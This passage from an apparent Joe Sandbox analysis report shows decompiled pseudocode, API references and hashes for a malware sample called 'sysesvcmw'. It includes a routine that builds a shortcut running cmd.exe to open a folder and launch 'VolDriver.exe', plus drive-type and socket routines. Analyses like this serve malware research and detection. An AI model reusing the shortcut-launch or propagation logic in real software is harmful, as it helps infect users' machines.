					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

device, xrefs: 0040C993
deviceType, xrefs: 0040C9A6

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction ID: 13aee1176452d62b74ac46d26b233db62756319b53bb87b3b8849ed906738a0f
Opcode Fuzzy Hash: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction Fuzzy Hash: 7B31C974E0020ADBCB14CF99D894BAFB7B5AF88304F108269E515B7390D7789A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00407980 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407980(signed int _a4, signed int _a8) {

				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}

0x0040798d
0x0040799e
0x004079a7
0x004079aa
0x004079c0
0x004079dc
0x004079e5
0x004079e8
0x004079fe
0x00407a1a
0x00407a23
0x00407a26
0x00407a32

APIs

_allshl.NTDLL ref: 0040798D
_aullshr.NTDLL ref: 0040799E
_allshl.NTDLL ref: 004079C0
_aullshr.NTDLL ref: 004079DC
_allshl.NTDLL ref: 004079FE
_aullshr.NTDLL ref: 00407A1A

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction ID: 2093b42955e45bd62e61740d1c7aadb5a606cc23c90c49e7bcc84aa687a307ef
Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction Fuzzy Hash: 2C1121325005286B9B10EF5EC4826CABBD6EF84361B15C136FC2CDF359D634D9515BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00404D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94
comCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404D70(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410338, 0, 1, 0x410328, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x415124, 0x415124);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410348,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}

APIs

CoInitialize.OLE32(00000000), ref: 00404D7B
CoCreateInstance.OLE32(00410338,00000000,00000001,00410328,?), ref: 00404D93
wsprintfW.USER32 ref: 00404DC6

Strings

/c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404DBA
%windir%\System32\cmd.exe, xrefs: 00404DCF

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
API String ID: 2038452267-2473591295
Opcode ID: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction ID: 2a49fd5d28e8ccd51fed007e1346deb4ba552c81a06522ba7ecdc7d03be8f695
Opcode Fuzzy Hash: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction Fuzzy Hash: 8B31B775A40208EFCB04DF98D885EDEB7B5FF88704F208199E615A72A0C674AE81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407570 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00407570(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}

0x0040757b
0x0040757e
0x0040758a
0x0040758d
0x00407599
0x0040759c
0x004075a8
0x004075ab
0x004075b7
0x004075ba
0x004075c6
0x004075cb
0x004075ce
0x004075dc

APIs

_allshl.NTDLL ref: 0040757E
_allshl.NTDLL ref: 0040758D
_allshl.NTDLL ref: 0040759C
_allshl.NTDLL ref: 004075AB
_allshl.NTDLL ref: 004075BA

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction ID: a1b14869e86cb328d4ae7b27d3c95eded15a07d37ad0fd28e3103b9823fe5a09
Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction Fuzzy Hash: C4F03172901429AB9710EEEF84824CAFBE69F88364B118576FC18E3270E9709D1146F2

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD00(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E00409600( *((intOrPtr*)(_t18 + 8)));
						return E00408C70(_t18);
					}
					do {
						E00408C70( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408C70(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}

APIs

SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
CloseHandle.KERNEL32(?), ref: 0040DD27

Part of subcall function 00408C70: HeapFree.KERNEL32(01E90000,00000000,00401192), ref: 00408CCB

Strings

pdu, xrefs: 0040DD04

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: f5c6ee23cecd016198fd4af76c8758ed014f635e7033cc2238d2bb5f9f771a0d
Instruction ID: 47894c430adc079fffee70a5773b5e3dad97f275ab1eff5073097a11c037a3ac
Opcode Fuzzy Hash: f5c6ee23cecd016198fd4af76c8758ed014f635e7033cc2238d2bb5f9f771a0d
Instruction Fuzzy Hash: 72F0C872804210ABCB20AFA5EC84D5777785F45320304466EFD4467396CA38DC45C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD0(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
				if(_v1056 >= 2) {
					if(_v1056 <= 3 || _v1056 == 6) {
						if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0 && StrCmpNW( &_v1052, L"\\??\\", 4) == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}

0x00404be3
0x00404be9
0x00404bf6
0x00404bff
0x00404c24
0x00404c3e
0x00404c3e
0x00404c24
0x00404bff
0x00404c4b

APIs

GetDriveTypeW.KERNEL32(00404C8F), ref: 00404BDD
QueryDosDeviceW.KERNEL32(00404C8F,?,00000208), ref: 00404C1C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00404C34

Strings

\??\, xrefs: 00404C28

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction ID: 6661d798698d2c2b86e5031d8900814977fd28410c715a717113d467a9626b5b
Opcode Fuzzy Hash: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction Fuzzy Hash: 26014FB494520CEBDF64CF95CE48AD977B4AB84701F0081BAAB05A7280D6789EC5CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA30 Relevance: 6.1, APIs: 4, Instructions: 73
networkCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040EA30(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E840(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EA63
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040EA8F
WSAGetLastError.WS2_32 ref: 0040EA99
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EAD9

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction ID: 57984d4194687ad85c3307d42481ebd1fe789462df0af38e0fad0134068e6b44
Opcode Fuzzy Hash: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction Fuzzy Hash: 4C213EB15083119BC600DF55D880D6BB7E8BFDCB64F044A2EF598A3250D734EA49CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E730 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,00000224,00000001,?,00000208,00000208,00000000), ref: 0040E768
WSAGetLastError.WS2_32(?,00000000), ref: 0040E770
Sleep.KERNEL32(00000001,?,00000000), ref: 0040E786
WSARecv.WS2_32(?,00000224,00000001,?,?,00000208,00000000), ref: 0040E7AC

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction ID: ce078963949e4c85844abf3da7583f675a37e97f6c8ed4734d1f7ba0ccbfa151
Opcode Fuzzy Hash: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction Fuzzy Hash: C211AD76104305AFD310CF65EC84EEBB7ECEB88700F40492AF945D3280E679E94997B2

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5C0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E5EC
WSAGetLastError.WS2_32 ref: 0040E5F2
Sleep.KERNEL32(00000001), ref: 0040E608
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E62A

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction ID: 3e3dd8552cbe75fe5ae1c554dac2643b1da2c24a2dcdc53f0862cdb527b38f0e
Opcode Fuzzy Hash: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction Fuzzy Hash: B40162712443056FE730CE96DC88F9B77ACEBC8711F40882AF608D61C0C7B5A9469B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040E280 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E280(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408C70( *((intOrPtr*)(_t22 + 0x2c)));
						E00408C70(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040E34C,?,?), ref: 0040E290
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E2A0
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2AD
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2E8

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction ID: e6ac6c1a31680b607f42abd4f6290106e839e9b4de79647b68f4cbd1092355c7
Opcode Fuzzy Hash: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction Fuzzy Hash: 4001DF35242204AFC3209F63ED44ADB73ACAB85B21B00483EE946A3681CB39E441CB38

Uniqueness

Uniqueness Score: -1.00%

Function 0040BDD0 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BDD0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					EnterCriticalSection(_v8 + 4);
					_v12 = 0;
					while(_v12 <  *_v8) {
						_t11 = _v8 + 0x1c; // 0xfe5ae850
						CloseHandle( *( *_t11 + _v12 * 4));
						_v12 = _v12 + 1;
					}
					LeaveCriticalSection(_v8 + 4);
					DeleteCriticalSection(_v8 + 4);
					_t18 = _v8 + 0x1c; // 0xfe5ae850
					E00408C70( *_t18);
					return E00408C70(_a4);
				}
				return _t20;
			}

0x0040bdda
0x0040bddf
0x0040bde9
0x0040bdef
0x0040be01
0x0040be0e
0x0040be18
0x0040bdfe
0x0040bdfe
0x0040be27
0x0040be34
0x0040be3d
0x0040be41
0x00000000
0x0040be52
0x0040be58

APIs

EnterCriticalSection.KERNEL32(0040EC80), ref: 0040BDE9
CloseHandle.KERNEL32(0040EC84), ref: 0040BE18
LeaveCriticalSection.KERNEL32(0040EC80), ref: 0040BE27
DeleteCriticalSection.KERNEL32(0040EC80), ref: 0040BE34

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction ID: b4a8df68a5ba6ddb4f07b24493b5635e0034f74153efd53aa39cf24915a517ea
Opcode Fuzzy Hash: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction Fuzzy Hash: EF111E74900208EBDB04DF94D984A9DB7B5FF45309F2081A9E90667341DB35EE90DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040CC30(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C260(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040C000(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CBE0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040CAC0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B3E0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
